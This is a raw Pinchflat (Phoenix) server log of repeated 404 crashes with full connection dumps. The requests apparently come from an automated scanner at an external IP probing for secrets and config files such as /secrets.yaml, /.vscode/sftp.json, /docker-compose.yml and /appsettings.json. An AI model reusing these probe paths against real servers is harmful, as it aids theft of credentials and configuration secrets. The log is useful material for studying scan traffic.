(KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3439.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yaml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50150}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3440.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/secrets.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-z1C9AOYFhoAARCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3439.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yaml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50150}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3439.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yaml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50150}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3440.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarde (truncated) 21:08:45.338 [info] GET /.vscode/sftp.json 21:08:45.338 [debug] QUERY OK source="settings" db=0.1ms idle=71.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.338 [debug] QUERY OK source="settings" db=0.1ms idle=49.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.338 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.338 [error] #PID<0.3442.0> running PinchflatWeb.Endpoint (connection #PID<0.3441.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.vscode/sftp.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/sftp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3441.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50158}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3442.0>, params: %{}, path_info: [".vscode", "sftp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.vscode/sftp.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-z_THl9DdQoAAREB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3441.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50158}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/sftp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3441.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50158}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3442.0>, params: %{}, path_info: [".vscode", "sftp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forward (truncated) 21:08:45.389 [info] GET /docker-compose.yml 21:08:45.390 [debug] QUERY OK source="settings" db=0.1ms idle=101.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.390 [debug] QUERY OK source="settings" db=0.1ms idle=94.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.390 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.390 [error] #PID<0.3444.0> running PinchflatWeb.Endpoint (connection #PID<0.3443.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /docker-compose.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3443.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50164}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3444.0>, params: %{}, path_info: ["docker-compose"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/docker-compose.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-0LoQfMuKbIAARGB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3443.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50164}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3443.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50164}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3444.0>, params: %{}, path_info: ["docker-compose"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/docker-compose.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-0LoQfMuKbIAARGB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, sta (truncated) 21:08:45.396 [info] GET /appsettings.json 21:08:45.396 [debug] QUERY OK source="settings" db=0.1ms idle=100.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.396 [debug] QUERY OK source="settings" db=0.1ms idle=58.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.396 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.396 [error] #PID<0.3446.0> running PinchflatWeb.Endpoint (connection #PID<0.3445.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /appsettings.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /appsettings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3445.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/appsettings.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50166}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3446.0>, params: %{}, path_info: ["appsettings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/appsettings.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-0NIQGL15jYAARIB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3445.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/appsettings.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50166}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /appsettings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3445.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/appsettings.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50166}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3446.0>, params: %{}, path_info: ["appsettings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.1 (truncated) 21:08:45.409 [info] GET /config/secrets.yml 21:08:45.409 [debug] QUERY OK source="settings" db=0.1ms idle=70.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", 